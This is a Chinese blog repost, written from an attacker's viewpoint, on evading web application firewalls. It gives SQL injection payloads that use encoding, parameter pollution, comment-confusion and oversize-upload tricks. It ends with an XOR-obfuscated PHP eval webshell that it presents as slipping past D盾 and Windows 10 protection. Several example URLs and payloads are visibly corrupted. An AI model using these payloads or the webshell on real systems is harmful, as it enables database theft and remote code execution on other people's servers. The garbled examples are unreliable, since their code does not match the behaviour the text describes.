从开发角度绕waf

转载引用自https://zhuanlan.zhihu.com/p/158896971

作为攻击者，我们要清楚我们利用哪方面来进行绕过：

1. Web容器的特性
2. Web应用层的问题
3. WAF自身的问题
4. 数据库的一些特性

Web容器特性1

在IIS+ASP的环境中，对于URL请求的参数值中的%，如果和后面的字符构成的字符串在URL编码表之外，ASP脚本 处理时会将其忽略。

现在假设有如下请求：
http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in
在WAF层，获取到的id参数值为 1 union all se%lect 1,2,3,4 fro%m adm%in ,此时waf因为 % 的分隔，无法检测出关键字 select from 等
但是因为IIS的特性，id获取的实际参数就变为 1 union all select 1,2,3,4 from admin ，从而绕过了waf。
这个特性仅在iis+asp上http://asp.net并不存在。

Web容器特性2

IIS的Unicode编码字符
IIS支持Unicode编码字符的解析，但是某些WAF却不一定具备这种能力。
//已知 ‘s’ 的unicode编码为：%u0053, ‘f’ 的unicode编码为 %u0066
如下：
http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin
但是IIS后端检测到了Unicode编码会将其自动解码，脚本引擎和数据库引擎最终获取到的参数会是： 1 union all select 1,2,3,4 from admin
这种情况需要根据不同的waf进行相应的测试，并不是百发百中。但是对于绕过来说，往往只要一个字符成功绕过 即可达到目的。

Web容器特性3

HPP(HTTP Parameter Pollution): HTTP参数污染:

如下图

在HTTP协议中是允许同样名称的参数出现多次的。例如:
http://zkaq666.com/1.asp?id=123&id=456这个请求。
根据WAF的不同，一般会同时分开检查 id=123 和 id=456 ，也有的仅可能取其中一个进行检测。但是对于 IIS+ASP/http://ASP.NET来说，它最终获取到的ID参数的值是123,空格456(asp)或123,456(http://asp.net)。
所以对于这类过滤规则，攻击者可以通过：
id=union+select+password/&id=/from+admin来逃避对 select * from 的检测。因为HPP特性，id的参数值最终会变为：union select password/,/from admin

Web容器的特性 –4

畸形HTTP请求

当向Web服务器发送畸形的,非RFC2616标准的HTTP请求时, Web服务器出于兼容的目的，会尽可能解析畸形HTTP请求。而如果Web服务器的兼容方式与WAF不一致,则可能会出现绕过的情况。下面来看这个POST请求:

如果将请求改为

这个请求包就就变为了: Method不合法,没有协议字段HTTP/1.1 ,也没有Host字段。
如果在HTTP/1.1协议中，缺少HOST字段会返回400 bad request。但是某些版本的Apache在处理这个请求时,默认会设置协议为HTTP/0.9 , Host坝默认使用Apache默认的servername ,这种畸形的请求仍然能够被处理。
如果某些WAF在处理数据的时候严格按照GET,POST等方式来获取数据,或者通过正则来处理数据库包,就会因为某些版本的Apache宽松的请求方式而被绕过。

Web应用层的问题 -1

多重编码问题

如果Web应用程序能够接收多重编码的数据，而WAF只能解码一层(或少于WEB应用程序能接收的层数)时，WAF会 因为解码不完全导致防御机制被绕过。

Web应用层的问题 -2

多数据来源的问题

如Asp和http://Asp.NET中的Request对象对于请求数据包的解析过于宽松，没有依照RFC的标准来，开发人员在编写代码 时如果使用如下方式接收用户传入的参数
ID=Request(“ID”)
ID=Request.Params(“ID”)
WEB程序可从以下3种途径获取到参数ID的参数值：

1. 从GET请求中获取ID的参数值；
2. 如果GET请求中没有ID参数，尝试从POST的ID参数中获取参数值；
3. 如果GET和POST中都获取不到ID的参数值，那么从Cookies中的ID参数获取参数值。

这样对于某些WAF来说，如果仅检查了GET或POST的，那么来自Cookie的注入攻击就无能为力了，更何况来自于 这三种方式组合而成的参数污染的绕过方法呢？

WAF自身的问题 – 1

白名单机制

WAF存在某些机制，不处理和拦截白名单中的请求数据：
1.指定IP或IP段的数据。2.来自于搜索引擎爬虫的访问数据。3.其他特征的数据
如以前某些WAF为了不影响站点的优化，将User-Agent为某些搜索引擎（如谷歌）的请求当作白名单处理，不检测和拦截。伪造HTTP请求的User-Agent非常容易，只需要将HTTP请求包中的User-Agent修改为谷歌搜索引擎 的User-Agent即可畅通无阻。

WAF自身的问题 – 2

数据获取方式存在缺陷

某些WAF无法全面支持GET、POST、Cookie等各类请求包的检测，当GET请求的攻击数据包无法绕过时，转换 成POST可能就绕过去了。或者，POST以 Content-Type: application/x-www-form-urlencoded 无法绕过时，转换成上传包格式的Content-Type: multipart/form-data 就能够绕过去

WAF自身的问题 – 3

数据处理不恰当

1、%00截断 将 %00 进行URL解码，即是C语言中的NULL字符
如果WAF对获取到的数据存储和处理不当，那么 %00 解码后会将后面的数据截断，造成后面的数据没有经过检测。

解析：WAF在获取到参数id的值并解码后，参数值将被截断成 1/* ，后面的攻击语句将没有被WAF拿去进行检测。
2、&字符处理

这些WAF会使用&符号分割 par1 、 par2 和 par3 ，然后对其参数值进行检测。但是，如果遇到这种构造：

waf会将上传的参数分解成3部分:

如果将这3个参数分别进行检测，某些WAF是匹配不到攻击特征的。
这里的 %26 是 & 字符
/%26/->/&/ 其实只是一个SQL的注释而已

WAF自身的问题 – 4

数据清洗不恰当
当攻击者提交的参数值中存在大量干扰数据时，如大量空格、TAB、换行、%0c、注释等，WAF需要对其进行清 洗，筛选出真实的攻击数据进行检测，以提高检查性能，节省资源。
如果WAF对数据的清洗不恰当，会导致真实的攻击数据被清洗，剩余的数据无法被检测出攻击行为。

WAF自身的问题 – 5

规则通用性问题
通用型的WAF，一般无法获知后端使用的是哪些WEB容器、什么数据库、以及使用的什么脚本语言。 每一种WEB容器、数据库以及编程语言，它们都有自己的特性，想使用通用的WAF规则去匹配和拦截，是非常难 的。
通用型WAF在考虑到它们一些共性的同时，也必须兼顾它们的特性，否则就很容易被一些特性给Bypass！

WAF自身的问题 – 6

为性能和业务妥协
要全面兼容各类Web Server及各类数据库的WAF是非常难的，为了普适性，需要放宽一些检查条件，暴力的过滤 方式会影响业务。
对于通用性较强的软WAF来说，不得不考虑到各种机器和系系统的性能，故对于一些超大数据包、超长数据可能会 跳过不检测。
以上就是WAF自身的一些问题，接下来我们会针对这些问题进行讲解，看看WAF是怎么受这些问题影响的。
然后是数据库的一些特性，不同的数据库有一些属于自己的特性，WAF如果不能处理好这些特性，就会出很大的问 题。
总结一下，WAF自身的问题有：总结一下，WAF自身的问题有：

1. 白名单机制
2. 数据获取方式存在缺陷
3. 数据处理不恰当
4. 数据清洗不恰当
5. 规则通用性问题
6. 为性能和业务妥协

   实例讲解WAF绕过的思路和方法

   一、数据提取方式存在缺陷，导致WAF被绕过

   某些WAF从数据包中提取检测特征的方式存在缺陷，如正则表达式不完善，某些攻击数据因为某些干扰字符的存在而无法被提取。

   示例:

   http://localhost/test/Article. php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/
   某WAF在后端会将删除线部分当作注释清洗掉:

   Request:

   http://localhost/Article.php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/

   WAF:

   http://localhost/Article.php?type=1&x=+8id- 2 union ol seleet 1.23,45 from etual8y +

   二、数据清洗方式不正确，导致WAF被绕过

   当攻击者提交的参数值中存在大量干扰数据时，如大量空格、TAB、 换行、%0C、 注释等，WAF需要对其进行清洗:
   (为提升性能和降低规则复杂性)，筛选出真实的攻击数据进行检测，但是，如果清洗方式不正确，会导致真正的攻击部分被清洗，然后拿去检测的是不含有攻击向量的数据，从而被Bypass!
   实例：
   htp://localhostest/Article .php?id9999-“/“ union all select 1,2,3,4,5 as “/“from mysql.user
   某些WAF会将9999-“/“ union all select 1 ,2,3, 4,5 as “/” from mysql.user清洗为: 9999-“”from mysql.user
   然后去检测是否有攻击特征,如果没有,执行原始语句:
   9999-“/“ union all select 1,2,3,4,5 as “/“ from mysql.user
   如：
   http://abcd.com?id=9999-"/*“ union a11 select 1,2,3,4,5 as “/“ frommysq1. user
   某些WAF会将9999-“/“ union a11 select 1,2,3,4,5 as “/“ from mysq1. user清洗为:
   9999-“” from mysq1.user然后去检测是否有攻击特征,如果没有，执行原始语句:9999”/“ union all select 1,2,3,4,5 as “/“ from mysq1 .user
   其实，对于 /来说，它只是一个字符串
   对于 */ 来说，它也是一个字符串，在这里还充当一个别名
   但是对于WAF来说，它会认为这是多行注释符，把中间的内容清洗掉去进行检测，当然检测不到什么东西。

   三、规则通用性问题，导致WAF被绕过

   比如对SQL注入数据进行清洗时，WAF一般不能知道后端数据库是MySQL还是SQL Server，那么对于MySQL 的 /!50001Select/ 来说，这是一个Select的命令，而对于SQL Server来说，这只不过是一个注释而已，注释 的内容为 !50001Select 。
   尤其是对于通用性WAF，这一点相当难做，很难去处理不同数据库的特性之间的问题。
   大家可以发现，很多WAF对错误的SQL语句是不拦截的。
   同样的，在Mysql中 # 是注释，但是在SQL Server中 # 只是一个字符串。
   那么如下语句： 9999’ and 1=(select top 1 name as # from master..sysdatabases)— 会被当作为： 9999’ and 1=(select top 1 name as 注释
   其实，这里的 # 只是一个字符，充当一个别名的角色而已。
   如果后端数据库是SQL Server，这样的语句是没问题的。 但是通用型WAF怎么能知道后端是SQL Server呢？

   WAF对上传的检测和处理

   一、为性能和业务妥协

   对于通用性较强的软WAF来说，不得不考虑到各种机器和系统的性能，故对于一些超大数据包、超长数据可能会跳 过不检测。
   在上传数据包部分，强行添加5万个字符，有些WAF会直接不检测放行，或者，检测其中的一部分。 比如，检测最前面5w个字符有没有攻击特征，如果没有，放行。
   针对这种，不能光靠WAF，我们应该在我们的WEB容器层面或应用程序层面来限定上传数据的大小。 所以，我们不能过度依赖于WAF。
   
   还有很多如绕过D盾木马拦截waf的方法:
   其实万变不离其踪，绕过的关键在于构建灵巧的payload
   一下是我了解的一个木马绕过方法，win10的防护不会对其进行拦截
   <?php
   $a = “~+d()”^”!{+{}”;
   $b = ${$a}[a];
   eval(“n”.$b);
   ?>

//变量$a的值我是利用异或赋值的，$a = “~+d()”^”!{+{}”;，而字符串”~+d()”^”!{+{}”异或的结果为_POST,然后$b = ${$a}[a];与$b = $_POST[a]等价，在将其传入eval()中
但是单纯的一句话木马：<?php eval($_REQUEST[a]);?>是绝对不可能在对方电脑上正常执行的 所以我们还是要不断与时俱进的